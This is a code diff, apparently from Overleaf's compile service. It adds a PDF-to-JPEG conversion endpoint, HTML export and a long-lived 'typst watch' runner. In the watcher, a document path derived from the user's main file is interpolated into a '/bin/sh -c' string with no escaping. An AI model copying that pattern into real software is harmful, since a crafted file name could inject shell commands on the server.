$(DOCKER_COMPOSE_TEST_ACCEPTANCE) run $(DC_RUN_FLAGS) test_acceptance test/acceptance/js/scripts/pre-run
|
$(DOCKER_COMPOSE_TEST_ACCEPTANCE) run $(DC_RUN_FLAGS) test_acceptance test/acceptance/js/scripts/pre-run
|
||||||
endif
|
endif
|
||||||
|
|||||||
@@ -145,6 +145,11 @@ app.post(
|
|||||||
bodyParser.json({ limit: Settings.compileSizeLimit }),
|
bodyParser.json({ limit: Settings.compileSizeLimit }),
|
||||||
ConversionController.convertProjectToDocument
|
ConversionController.convertProjectToDocument
|
||||||
)
|
)
|
||||||
|
app.post(
|
||||||
|
'/convert/pdf-to-jpeg',
|
||||||
|
FileUploadMiddleware.multerMiddleware,
|
||||||
|
ConversionController.convertPDFToJPEG
|
||||||
|
)
|
||||||
|
|
||||||
if (process.env.NODE_ENV === 'development' && global.__coverage__) {
|
if (process.env.NODE_ENV === 'development' && global.__coverage__) {
|
||||||
app.get('/coverage', (req, res) => {
|
app.get('/coverage', (req, res) => {
|
||||||
|
|||||||
@@ -80,6 +80,10 @@ function compile(req, res, next) {
|
|||||||
{ err: error, projectId: request.project_id },
|
{ err: error, projectId: request.project_id },
|
||||||
'timeout running compile'
|
'timeout running compile'
|
||||||
)
|
)
|
||||||
|
} else if (error?.typstCompileFailure) {
|
||||||
|
// Typst compiled but with errors — treat as a compile failure so
|
||||||
|
// the frontend shows the error log rather than the old PDF.
|
||||||
|
status = 'failure'
|
||||||
} else if (error) {
|
} else if (error) {
|
||||||
status = 'error'
|
status = 'error'
|
||||||
code = 500
|
code = 500
|
||||||
|
|||||||
@@ -386,11 +386,18 @@ async function stopCompile(projectId, userId) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async function clearProject(projectId, userId) {
|
async function clearProject(projectId, userId) {
|
||||||
|
// Kill any live typst watcher before deleting its files.
|
||||||
|
const compileName = getCompileName(projectId, userId)
|
||||||
|
await TypstRunner.promises.killTypst(compileName)
|
||||||
const compileDir = getCompileDir(projectId, userId)
|
const compileDir = getCompileDir(projectId, userId)
|
||||||
await fsPromises.rm(compileDir, { force: true, recursive: true })
|
await fsPromises.rm(compileDir, { force: true, recursive: true })
|
||||||
}
|
}
|
||||||
|
|
||||||
async function clearProjectWithListing(projectId, userId, allEntries) {
|
async function clearProjectWithListing(projectId, userId, allEntries) {
|
||||||
|
// Kill any live typst watcher (e.g. timedout compile where killTypst
|
||||||
|
// was not already called) before removing files from under it.
|
||||||
|
const compileName = getCompileName(projectId, userId)
|
||||||
|
await TypstRunner.promises.killTypst(compileName)
|
||||||
const compileDir = getCompileDir(projectId, userId)
|
const compileDir = getCompileDir(projectId, userId)
|
||||||
|
|
||||||
const exists = await _checkDirectory(compileDir)
|
const exists = await _checkDirectory(compileDir)
|
||||||
|
|||||||
@@ -14,10 +14,12 @@ import RequestParser from './RequestParser.js'
|
|||||||
import { pipeline } from 'node:stream/promises'
|
import { pipeline } from 'node:stream/promises'
|
||||||
import Settings from '@overleaf/settings'
|
import Settings from '@overleaf/settings'
|
||||||
import Path from 'node:path'
|
import Path from 'node:path'
|
||||||
|
import { z } from '@overleaf/validation-tools'
|
||||||
|
|
||||||
const CONVERSION_CONFIGS = {
|
const CONVERSION_CONFIGS = {
|
||||||
docx: { extension: 'docx' },
|
docx: { extension: 'docx' },
|
||||||
markdown: { extension: 'zip' },
|
markdown: { extension: 'zip' },
|
||||||
|
html: { extension: 'zip' },
|
||||||
}
|
}
|
||||||
|
|
||||||
async function convertDocumentToLaTeX(req, res) {
|
async function convertDocumentToLaTeX(req, res) {
|
||||||
@@ -77,6 +79,51 @@ async function convertDocumentToLaTeX(req, res) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const PDFToJPEGQuerySchema = z.object({
|
||||||
|
mode: z.enum(['preview', 'thumbnail']),
|
||||||
|
})
|
||||||
|
|
||||||
|
async function convertPDFToJPEG(req, res) {
|
||||||
|
const { path } = req.file
|
||||||
|
if (!Settings.enablePdfConversions) {
|
||||||
|
await fs.unlink(path).catch(() => {})
|
||||||
|
return res.sendStatus(404)
|
||||||
|
}
|
||||||
|
const parsed = PDFToJPEGQuerySchema.safeParse(req.query)
|
||||||
|
if (!parsed.success) {
|
||||||
|
await fs.unlink(path).catch(() => {})
|
||||||
|
return res.sendStatus(400)
|
||||||
|
}
|
||||||
|
const { mode } = parsed.data
|
||||||
|
logger.debug({ path, mode }, 'received pdf for conversion to jpeg')
|
||||||
|
const conversionId = crypto.randomUUID()
|
||||||
|
let jpegPath
|
||||||
|
try {
|
||||||
|
jpegPath = await ConversionManager.promises.convertPDFToJPEGWithLock(
|
||||||
|
conversionId,
|
||||||
|
path,
|
||||||
|
mode
|
||||||
|
)
|
||||||
|
} finally {
|
||||||
|
await fs.unlink(path).catch(() => {})
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const jpegStat = await fs.stat(jpegPath)
|
||||||
|
|
||||||
|
res.setHeader('Content-Length', jpegStat.size)
|
||||||
|
res.attachment('output.jpg')
|
||||||
|
res.setHeader('X-Content-Type-Options', 'nosniff')
|
||||||
|
|
||||||
|
const readStream = fsSync.createReadStream(jpegPath)
|
||||||
|
await pipeline(readStream, res)
|
||||||
|
} finally {
|
||||||
|
await fs
|
||||||
|
.rm(Path.dirname(jpegPath), { recursive: true, force: true })
|
||||||
|
.catch(() => {})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
async function convertProjectToDocument(req, res) {
|
async function convertProjectToDocument(req, res) {
|
||||||
if (!Settings.enablePandocConversions) {
|
if (!Settings.enablePandocConversions) {
|
||||||
return res.sendStatus(404)
|
return res.sendStatus(404)
|
||||||
@@ -207,4 +254,5 @@ async function convertProjectToDocument(req, res) {
|
|||||||
export default {
|
export default {
|
||||||
convertDocumentToLaTeX: expressify(convertDocumentToLaTeX),
|
convertDocumentToLaTeX: expressify(convertDocumentToLaTeX),
|
||||||
convertProjectToDocument: expressify(convertProjectToDocument),
|
convertProjectToDocument: expressify(convertProjectToDocument),
|
||||||
|
convertPDFToJPEG: expressify(convertPDFToJPEG),
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -18,6 +18,18 @@ const CONVERSION_CONFIGS = {
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const PDF_TO_JPEG_CONFIGS = {
|
||||||
|
preview: { width: 794, quality: 90 },
|
||||||
|
thumbnail: { width: 190, quality: 50 },
|
||||||
|
}
|
||||||
|
|
||||||
|
const PDF_TO_JPEG_INPUT_FILENAME = 'input.pdf'
|
||||||
|
const PDF_TO_JPEG_OUTPUT_FILENAME = 'output.jpg'
|
||||||
|
const PDF_TO_JPEG_OUTPUT_BASENAME = Path.basename(
|
||||||
|
PDF_TO_JPEG_OUTPUT_FILENAME,
|
||||||
|
'.jpg'
|
||||||
|
)
|
||||||
|
|
||||||
async function convertToLaTeXWithLock(conversionId, inputPath, conversionType) {
|
async function convertToLaTeXWithLock(conversionId, inputPath, conversionType) {
|
||||||
const conversionDir = Path.join(Settings.path.compilesDir, conversionId)
|
const conversionDir = Path.join(Settings.path.compilesDir, conversionId)
|
||||||
const lock = LockManager.acquire(conversionDir)
|
const lock = LockManager.acquire(conversionDir)
|
||||||
@@ -150,6 +162,19 @@ const LATEX_EXPORT_CONFIGS = {
|
|||||||
'markdown',
|
'markdown',
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
|
html: {
|
||||||
|
fileExtension: 'html',
|
||||||
|
compressOutput: true,
|
||||||
|
getPandocArgs: ({ outputPath }) => [
|
||||||
|
'--output',
|
||||||
|
outputPath,
|
||||||
|
'--from',
|
||||||
|
'latex',
|
||||||
|
'--to',
|
||||||
|
'html',
|
||||||
|
'--standalone',
|
||||||
|
],
|
||||||
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
async function convertLaTeXToDocumentInDirWithLock(
|
async function convertLaTeXToDocumentInDirWithLock(
|
||||||
@@ -298,9 +323,76 @@ async function convertLaTeXToDocumentInDir(
|
|||||||
return Path.join(compileDir, finalOutputName)
|
return Path.join(compileDir, finalOutputName)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function convertPDFToJPEGWithLock(conversionId, inputPath, mode) {
|
||||||
|
const conversionDir = Path.join(Settings.path.compilesDir, conversionId)
|
||||||
|
const lock = LockManager.acquire(conversionDir)
|
||||||
|
try {
|
||||||
|
return await convertPDFToJPEG(conversionId, conversionDir, inputPath, mode)
|
||||||
|
} finally {
|
||||||
|
lock.release()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function convertPDFToJPEG(conversionId, conversionDir, inputPath, mode) {
|
||||||
|
const config = PDF_TO_JPEG_CONFIGS[mode]
|
||||||
|
await fs.mkdir(conversionDir, { recursive: true })
|
||||||
|
const newSourcePath = Path.join(conversionDir, PDF_TO_JPEG_INPUT_FILENAME)
|
||||||
|
await fs.copyFile(inputPath, newSourcePath)
|
||||||
|
const dstPath = Path.join(conversionDir, PDF_TO_JPEG_OUTPUT_FILENAME)
|
||||||
|
|
||||||
|
try {
|
||||||
|
const { stdout, stderr, exitCode } = await CommandRunner.promises.run(
|
||||||
|
conversionId,
|
||||||
|
[
|
||||||
|
'pdftocairo',
|
||||||
|
'-jpeg',
|
||||||
|
'-jpegopt',
|
||||||
|
`quality=${config.quality}`,
|
||||||
|
'-singlefile',
|
||||||
|
'-scale-to-x',
|
||||||
|
config.width.toString(),
|
||||||
|
'-scale-to-y',
|
||||||
|
'-1', // maintain aspect ratio
|
||||||
|
PDF_TO_JPEG_INPUT_FILENAME,
|
||||||
|
PDF_TO_JPEG_OUTPUT_BASENAME,
|
||||||
|
],
|
||||||
|
conversionDir,
|
||||||
|
Settings.pdftocairoImage,
|
||||||
|
Settings.conversionTimeoutSeconds * 1000,
|
||||||
|
{},
|
||||||
|
'conversions',
|
||||||
|
null
|
||||||
|
)
|
||||||
|
if (exitCode !== 0) {
|
||||||
|
throw new OError('Non-zero exit code from pdftocairo', {
|
||||||
|
exitCode,
|
||||||
|
stderr,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
logger.debug(
|
||||||
|
{ stdout, stderr, exitCode },
|
||||||
|
'pdf-to-jpeg conversion completed'
|
||||||
|
)
|
||||||
|
|
||||||
|
const stat = await fs.lstat(dstPath)
|
||||||
|
if (!stat.isFile()) {
|
||||||
|
throw new OError('output.jpg is not a regular file', { stat })
|
||||||
|
}
|
||||||
|
|
||||||
|
// Clean up the source PDF to leave only the conversion result
|
||||||
|
await fs.unlink(newSourcePath).catch(() => {})
|
||||||
|
} catch (error) {
|
||||||
|
await fs.rm(conversionDir, { force: true, recursive: true }).catch(() => {})
|
||||||
|
throw new OError('pdf-to-jpeg conversion failed').withCause(error)
|
||||||
|
}
|
||||||
|
|
||||||
|
return dstPath
|
||||||
|
}
|
||||||
|
|
||||||
export default {
|
export default {
|
||||||
promises: {
|
promises: {
|
||||||
convertToLaTeXWithLock,
|
convertToLaTeXWithLock,
|
||||||
convertLaTeXToDocumentInDirWithLock,
|
convertLaTeXToDocumentInDirWithLock,
|
||||||
|
convertPDFToJPEGWithLock,
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -209,8 +209,16 @@ export default ResourceWriter = {
|
|||||||
return callback(error)
|
return callback(error)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Project input resources are in outputFiles only to be served from
|
||||||
|
// the output cache (HTML media exception in OutputFileFinder). They
|
||||||
|
// must never be deleted here — incremental compiles don't re-sync
|
||||||
|
// unchanged binary files, so deleting them would leave them missing
|
||||||
|
// for Quarto and for _appendMissingResourceWarnings.
|
||||||
|
const incomingPaths = new Set(resources.map(r => r.path))
|
||||||
|
|
||||||
const jobs = []
|
const jobs = []
|
||||||
for (const { path } of outputFiles || []) {
|
for (const { path } of outputFiles || []) {
|
||||||
|
if (incomingPaths.has(path)) continue
|
||||||
const shouldDelete = ResourceWriter.isExtraneousFile(path)
|
const shouldDelete = ResourceWriter.isExtraneousFile(path)
|
||||||
if (shouldDelete) {
|
if (shouldDelete) {
|
||||||
jobs.push(callback =>
|
jobs.push(callback =>
|
||||||
|
|||||||
@@ -1,96 +1,485 @@
|
|||||||
import Path from 'node:path'
|
import Path from 'node:path'
|
||||||
|
import { spawn } from 'node:child_process'
|
||||||
import { promisify } from 'node:util'
|
import { promisify } from 'node:util'
|
||||||
import logger from '@overleaf/logger'
|
import logger from '@overleaf/logger'
|
||||||
|
import Settings from '@overleaf/settings'
|
||||||
import CommandRunner from './CommandRunner.js'
|
import CommandRunner from './CommandRunner.js'
|
||||||
import fs from 'node:fs'
|
import fs from 'node:fs'
|
||||||
|
|
||||||
// Maps currently-running Typst jobs: compileName → PID (or docker container id)
|
// ---------------------------------------------------------------------------
|
||||||
|
// Constants
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
// Max lines kept from the current compile cycle (prevents unbounded growth
|
||||||
|
// for documents that produce many warnings).
|
||||||
|
const MAX_LOG_LINES = 500
|
||||||
|
|
||||||
|
// How long to wait for the watcher process to emit its first output.
|
||||||
|
const WATCH_START_TIMEOUT_MS = 15_000
|
||||||
|
|
||||||
|
// Matches the start-of-compile marker typst watch emits before each cycle:
|
||||||
|
// "[HH:MM:SS] compiling ..."
|
||||||
|
// Used to reset the line buffer so stale output from a failed compile that
|
||||||
|
// didn't emit a "compiled with errors" footer cannot bleed into the next log.
|
||||||
|
const COMPILE_START_RE = /^\[\d{2}:\d{2}:\d{2}\] compiling/
|
||||||
|
|
||||||
|
// Matches the three terminal lines that typst watch emits at the end of each
|
||||||
|
// compile cycle regardless of outcome:
|
||||||
|
// "[HH:MM:SS] compiled successfully in 42ms"
|
||||||
|
// "[HH:MM:SS] compiled with warnings in 42ms"
|
||||||
|
// "[HH:MM:SS] compiled with errors"
|
||||||
|
const COMPILE_DONE_RE = /compiled (successfully|with (errors|warnings))/
|
||||||
|
|
||||||
|
// Signals FileId exhaustion in a long-lived typst process (typst issue #7434).
|
||||||
|
const FILE_ID_EXHAUSTION_RE = /ran out of file ids/i
|
||||||
|
|
||||||
|
// Proactively restart the watcher before FileId exhaustion.
|
||||||
|
// Typst uses ~65 IDs per compile; 1000 compiles ≈ 65 000 — safely under 65 535.
|
||||||
|
const MAX_COMPILES_BEFORE_RESTART = 1000
|
||||||
|
|
||||||
|
// typst watch emits the "[HH:MM:SS] compiled with errors" status line FIRST,
|
||||||
|
// then the full diagnostic output (file:line:col, code snippets) AFTERWARDS.
|
||||||
|
// We buffer post-done lines and resolve after this delay if no new compile
|
||||||
|
// cycle starts sooner. 150 ms is well above the ~1 chunk latency for typst's
|
||||||
|
// diagnostic flush and imperceptible on top of a typical compile time.
|
||||||
|
const FLUSH_DELAY_MS = 150
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// State (module-level, never exported)
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
// Active cold-start compile jobs (Docker fallback): compileName → PID
|
||||||
const ProcessTable = {}
|
const ProcessTable = {}
|
||||||
|
|
||||||
// Compiles a standalone Typst document (.typ) straight to output.pdf. We reuse
|
// Long-lived watcher processes: compileName → WatchEntry
|
||||||
// the Typst that ships inside Quarto via `quarto typst compile`, so there is no
|
// WatchEntry shape:
|
||||||
// extra binary to install. This is deliberately the simplest of the three
|
// proc ChildProcess
|
||||||
// runners: Typst only ever produces a PDF, so there is no format detection,
|
// directory compile dir (absolute path)
|
||||||
// no HTML asset directory and no extension merging (cf. QuartoRunner).
|
// mainFile root .typ filename
|
||||||
function runTypst(compileName, options, callback) {
|
// environment env vars passed to the runner
|
||||||
const { directory, mainFile, image, environment, compileGroup } = options
|
// compilationCount total successful compile cycles on this watcher
|
||||||
const timeout = options.timeout || 60000
|
// restartPending flag to restart at the next runTypst call
|
||||||
|
// accumulator incomplete trailing line from the last data chunk
|
||||||
|
// currentLines lines accumulated in the current phase (pre-done or
|
||||||
|
// post-done, see _onWatcherData for the two-phase logic)
|
||||||
|
// doneResult { preLines, compiledWithErrors } held between the
|
||||||
|
// COMPILE_DONE_RE line and the post-done diagnostic flush;
|
||||||
|
// null when not in post-done phase
|
||||||
|
// flushTimeout timeout handle that finalises doneResult when no next
|
||||||
|
// compile cycle starts within FLUSH_DELAY_MS
|
||||||
|
// pendingResolvers Array<{resolve, reject, timeoutHandle}>
|
||||||
|
// pendingResult compile result cached when typst finished before a
|
||||||
|
// resolver was registered (race-condition safety net)
|
||||||
|
const WatchTable = {}
|
||||||
|
|
||||||
logger.debug(
|
// PIDs we have intentionally killed, so the close handler can distinguish
|
||||||
{ directory, timeout, mainFile, compileGroup },
|
// an expected exit from an unexpected crash.
|
||||||
'starting typst compile'
|
const _killedWatchPids = new Set()
|
||||||
)
|
|
||||||
|
|
||||||
const command = _buildTypstCommand(mainFile)
|
// ---------------------------------------------------------------------------
|
||||||
|
// Public entry point
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
ProcessTable[compileName] = CommandRunner.run(
|
async function runTypstAsync(compileName, options) {
|
||||||
compileName,
|
// Docker / sandboxed mode: fall back to a cold-start compile per request.
|
||||||
command,
|
if (Settings.clsi?.dockerRunner) {
|
||||||
directory,
|
return _runColdStart(compileName, options)
|
||||||
image,
|
}
|
||||||
timeout,
|
|
||||||
environment || {},
|
|
||||||
compileGroup,
|
|
||||||
null,
|
|
||||||
function (error, output) {
|
|
||||||
delete ProcessTable[compileName]
|
|
||||||
|
|
||||||
// Propagate real process-level errors (killed, timed out) but NOT
|
const timeout = options.timeout || 60_000
|
||||||
// ordinary non-zero exit codes from Typst itself. A compile failure
|
const entry = WatchTable[compileName]
|
||||||
// (exit code 1) is not a server error — the absence of output.pdf is
|
|
||||||
// enough for CompileController to return 'failure'.
|
|
||||||
if (error && (error.terminated || error.timedout)) {
|
|
||||||
return callback(error)
|
|
||||||
}
|
|
||||||
|
|
||||||
// On exit-code-1 errors LocalCommandRunner attaches stdout to the error
|
const needsStart =
|
||||||
// object; merge it so _writeLogOutput can persist it.
|
!entry ||
|
||||||
const combined = output || (error ? { stdout: error.stdout || '' } : null)
|
entry.restartPending ||
|
||||||
_writeLogOutput(compileName, directory, combined, () =>
|
entry.proc.exitCode !== null
|
||||||
callback(null, combined)
|
|
||||||
)
|
if (needsStart) {
|
||||||
|
if (entry) _killWatchEntry(compileName)
|
||||||
|
// _startWatcher spawns the process, registers all handlers, then calls
|
||||||
|
// _waitForNextCompile synchronously — the resolver is in pendingResolvers
|
||||||
|
// before any I/O event can fire, eliminating the race condition.
|
||||||
|
const result = await _startWatcher(compileName, options)
|
||||||
|
await _writeLogOutputAsync(compileName, options.directory, result)
|
||||||
|
if (result.compiledWithErrors) {
|
||||||
|
throw Object.assign(new Error('typst-compile-failure'), {
|
||||||
|
typstCompileFailure: true,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// Watcher is alive. _waitForNextCompile adds the resolver synchronously
|
||||||
|
// inside the Promise constructor, before this function yields — safe.
|
||||||
|
const result = await _waitForNextCompile(compileName, timeout)
|
||||||
|
await _writeLogOutputAsync(compileName, options.directory, result)
|
||||||
|
if (result.compiledWithErrors) {
|
||||||
|
throw Object.assign(new Error('typst-compile-failure'), {
|
||||||
|
typstCompileFailure: true,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Watcher lifecycle
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
async function _startWatcher(compileName, options) {
|
||||||
|
const { directory, mainFile, environment } = options
|
||||||
|
const timeout = options.timeout || 60_000
|
||||||
|
|
||||||
|
const absInput = Path.join(directory, mainFile)
|
||||||
|
const absOutput = Path.join(directory, 'output.pdf')
|
||||||
|
const env = { ...process.env, ...(environment || {}) }
|
||||||
|
|
||||||
|
logger.debug({ compileName, absInput }, 'starting typst watcher')
|
||||||
|
|
||||||
|
const proc = spawn(
|
||||||
|
'/bin/sh',
|
||||||
|
['-c', `typst watch "${absInput}" "${absOutput}" 2>&1`],
|
||||||
|
{
|
||||||
|
cwd: directory,
|
||||||
|
env,
|
||||||
|
stdio: ['ignore', 'pipe', 'ignore'],
|
||||||
|
detached: true,
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const entry = {
|
||||||
|
proc,
|
||||||
|
directory,
|
||||||
|
mainFile,
|
||||||
|
environment,
|
||||||
|
compilationCount: 0,
|
||||||
|
restartPending: false,
|
||||||
|
accumulator: '',
|
||||||
|
currentLines: [],
|
||||||
|
doneResult: null,
|
||||||
|
flushTimeout: null,
|
||||||
|
pendingResolvers: [],
|
||||||
|
pendingResult: null,
|
||||||
|
}
|
||||||
|
WatchTable[compileName] = entry
|
||||||
|
|
||||||
|
// Register handlers synchronously — before any I/O events can fire.
|
||||||
|
proc.stdout.setEncoding('utf8')
|
||||||
|
proc.stdout.on('data', chunk => _onWatcherData(compileName, chunk))
|
||||||
|
|
||||||
|
proc.on('error', err => {
|
||||||
|
logger.error({ err, compileName }, 'typst watcher process error')
|
||||||
|
_rejectAllPending(
|
||||||
|
compileName,
|
||||||
|
Object.assign(err, { terminated: true })
|
||||||
|
)
|
||||||
|
if (WatchTable[compileName]?.proc === proc) {
|
||||||
|
delete WatchTable[compileName]
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
proc.on('close', (code, signal) => {
|
||||||
|
logger.warn({ code, signal, compileName }, 'typst watcher exited')
|
||||||
|
const wasKilled = _killedWatchPids.delete(proc.pid)
|
||||||
|
if (!wasKilled) {
|
||||||
|
_rejectAllPending(
|
||||||
|
compileName,
|
||||||
|
Object.assign(new Error('typst watcher exited unexpectedly'), {
|
||||||
|
terminated: true,
|
||||||
|
})
|
||||||
|
)
|
||||||
|
}
|
||||||
|
if (WatchTable[compileName]?.proc === proc) {
|
||||||
|
delete WatchTable[compileName]
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
// typst watch performs an initial compile immediately on startup.
|
||||||
|
// _waitForNextCompile adds the resolver synchronously here (inside the
|
||||||
|
// Promise constructor) before we yield, so it will catch that first event.
|
||||||
|
return _waitForNextCompile(compileName, timeout + WATCH_START_TIMEOUT_MS)
|
||||||
}
|
}
|
||||||
|
|
||||||
function _buildTypstCommand(mainFile) {
|
function _killWatchEntry(compileName) {
|
||||||
// Run through a POSIX shell so stderr (where Typst writes its diagnostics)
|
const entry = WatchTable[compileName]
|
||||||
// is merged into stdout (2>&1). LocalCommandRunner replaces $COMPILE_DIR
|
if (!entry) return
|
||||||
// before the shell sees it; the output path is relative because the shell
|
clearTimeout(entry.flushTimeout)
|
||||||
// CWD is already the compile directory.
|
delete WatchTable[compileName]
|
||||||
const inputPath = `$COMPILE_DIR/${mainFile}`
|
try {
|
||||||
const cmd = `quarto typst compile ${inputPath} output.pdf 2>&1`
|
_killedWatchPids.add(entry.proc.pid)
|
||||||
return ['/bin/sh', '-c', cmd]
|
process.kill(-entry.proc.pid) // kill entire process group
|
||||||
|
} catch (err) {
|
||||||
|
_killedWatchPids.delete(entry.proc.pid)
|
||||||
|
logger.warn({ err, compileName }, 'error killing typst watcher process group')
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function _writeLogOutput(compileName, directory, output, callback) {
|
// ---------------------------------------------------------------------------
|
||||||
const content = (output && output.stdout) || ''
|
// Stdout parsing
|
||||||
if (!content) return callback()
|
// ---------------------------------------------------------------------------
|
||||||
// Write to output.log so the PDF-preview log panel picks it up. Typst's
|
|
||||||
// `error:`/`warning:` + `┌─ file:line:col` diagnostics are understood by the
|
function _onWatcherData(compileName, chunk) {
|
||||||
// Quarto/Typst log parser on the web side.
|
const entry = WatchTable[compileName]
|
||||||
const logFile = Path.join(directory, 'output.log')
|
if (!entry) return
|
||||||
fs.unlink(logFile, () => {
|
|
||||||
fs.writeFile(logFile, content, { flag: 'wx' }, err => {
|
entry.accumulator += chunk
|
||||||
if (err) {
|
const lines = entry.accumulator.split('\n')
|
||||||
logger.error({ err, compileName, logFile }, 'error writing typst log')
|
entry.accumulator = lines.pop() // keep the incomplete trailing fragment
|
||||||
|
|
||||||
|
for (const line of lines) {
|
||||||
|
if (COMPILE_START_RE.test(line)) {
|
||||||
|
// A new compile cycle is starting. If we were in the post-done phase
|
||||||
|
// (collecting diagnostic lines that typst emits AFTER the status line),
|
||||||
|
// finalise the previous result now — all diagnostics have arrived.
|
||||||
|
if (entry.doneResult) {
|
||||||
|
_finalizeCompile(compileName)
|
||||||
}
|
}
|
||||||
callback()
|
// Start fresh for the new cycle.
|
||||||
})
|
entry.currentLines = [line]
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
entry.currentLines.push(line)
|
||||||
|
if (entry.currentLines.length > MAX_LOG_LINES) {
|
||||||
|
entry.currentLines.shift()
|
||||||
|
}
|
||||||
|
|
||||||
|
if (FILE_ID_EXHAUSTION_RE.test(line)) {
|
||||||
|
logger.warn({ compileName }, 'typst watcher: FileId exhaustion detected')
|
||||||
|
entry.restartPending = true
|
||||||
|
}
|
||||||
|
|
||||||
|
if (COMPILE_DONE_RE.test(line)) {
|
||||||
|
entry.compilationCount++
|
||||||
|
|
||||||
|
if (entry.compilationCount >= MAX_COMPILES_BEFORE_RESTART) {
|
||||||
|
logger.info(
|
||||||
|
{ compileName, compilationCount: entry.compilationCount },
|
||||||
|
'typst watcher: scheduling restart (FileId threshold)'
|
||||||
|
)
|
||||||
|
entry.restartPending = true
|
||||||
|
}
|
||||||
|
|
||||||
|
// typst watch outputs the "[HH:MM:SS] compiled with errors" status
|
||||||
|
// line FIRST, then the full diagnostics (file:line:col, code snippets)
|
||||||
|
// AFTERWARDS. Enter post-done phase: keep accumulating into currentLines
|
||||||
|
// and flush after FLUSH_DELAY_MS (or immediately when the next compile
|
||||||
|
// cycle's COMPILE_START_RE arrives, whichever comes first).
|
||||||
|
entry.doneResult = {
|
||||||
|
preLines: entry.currentLines,
|
||||||
|
compiledWithErrors: /compiled with errors/.test(line),
|
||||||
|
}
|
||||||
|
entry.currentLines = []
|
||||||
|
|
||||||
|
clearTimeout(entry.flushTimeout)
|
||||||
|
entry.flushTimeout = setTimeout(
|
||||||
|
() => _finalizeCompile(compileName),
|
||||||
|
FLUSH_DELAY_MS
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Combines the pre-done lines (up to/including the status line) with any
|
||||||
|
// post-done diagnostic lines and resolves all pending waiters.
|
||||||
|
function _finalizeCompile(compileName) {
|
||||||
|
const entry = WatchTable[compileName]
|
||||||
|
if (!entry || !entry.doneResult) return
|
||||||
|
|
||||||
|
clearTimeout(entry.flushTimeout)
|
||||||
|
entry.flushTimeout = null
|
||||||
|
|
||||||
|
const { preLines, compiledWithErrors } = entry.doneResult
|
||||||
|
entry.doneResult = null
|
||||||
|
|
||||||
|
// Merge: status line(s) first, then the post-done diagnostics.
|
||||||
|
const allLines = preLines.concat(entry.currentLines)
|
||||||
|
entry.currentLines = []
|
||||||
|
|
||||||
|
_resolveAllPending(compileName, {
|
||||||
|
stdout: allLines.join('\n'),
|
||||||
|
compiledWithErrors,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Resolver helpers
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function _waitForNextCompile(compileName, timeout) {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const entry = WatchTable[compileName]
|
||||||
|
if (!entry) {
|
||||||
|
return reject(new Error('no typst watcher for ' + compileName))
|
||||||
|
}
|
||||||
|
|
||||||
|
// If typst finished a compile cycle before this resolver was registered
|
||||||
|
// (race: ResourceWriter wrote files → typst compiled → runTypst called),
|
||||||
|
// consume the cached result immediately instead of waiting for a timeout.
|
||||||
|
if (entry.pendingResult) {
|
||||||
|
const result = entry.pendingResult
|
||||||
|
entry.pendingResult = null
|
||||||
|
return resolve(result)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Push synchronously inside the Promise constructor — before the first
|
||||||
|
// await in the caller, so no data event can fire in the gap.
|
||||||
|
const timeoutHandle = setTimeout(() => {
|
||||||
|
entry.pendingResolvers = entry.pendingResolvers.filter(r => r !== resolver)
|
||||||
|
reject(
|
||||||
|
Object.assign(new Error('typst compile timed out'), { timedout: true })
|
||||||
|
)
|
||||||
|
}, timeout)
|
||||||
|
|
||||||
|
const resolver = { resolve, reject, timeoutHandle }
|
||||||
|
entry.pendingResolvers.push(resolver)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
function _resolveAllPending(compileName, result) {
|
||||||
|
const entry = WatchTable[compileName]
|
||||||
|
if (!entry) return
|
||||||
|
const resolvers = entry.pendingResolvers.splice(0)
|
||||||
|
if (resolvers.length === 0) {
|
||||||
|
// typst compiled before a resolver was registered — cache the result so
|
||||||
|
// the next _waitForNextCompile call can consume it immediately.
|
||||||
|
entry.pendingResult = result
|
||||||
|
return
|
||||||
|
}
|
||||||
|
for (const { resolve, timeoutHandle } of resolvers) {
|
||||||
|
clearTimeout(timeoutHandle)
|
||||||
|
resolve(result)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function _rejectAllPending(compileName, err) {
|
||||||
|
const entry = WatchTable[compileName]
|
||||||
|
if (!entry) return
|
||||||
|
for (const { reject, timeoutHandle } of entry.pendingResolvers.splice(0)) {
|
||||||
|
clearTimeout(timeoutHandle)
|
||||||
|
reject(err)
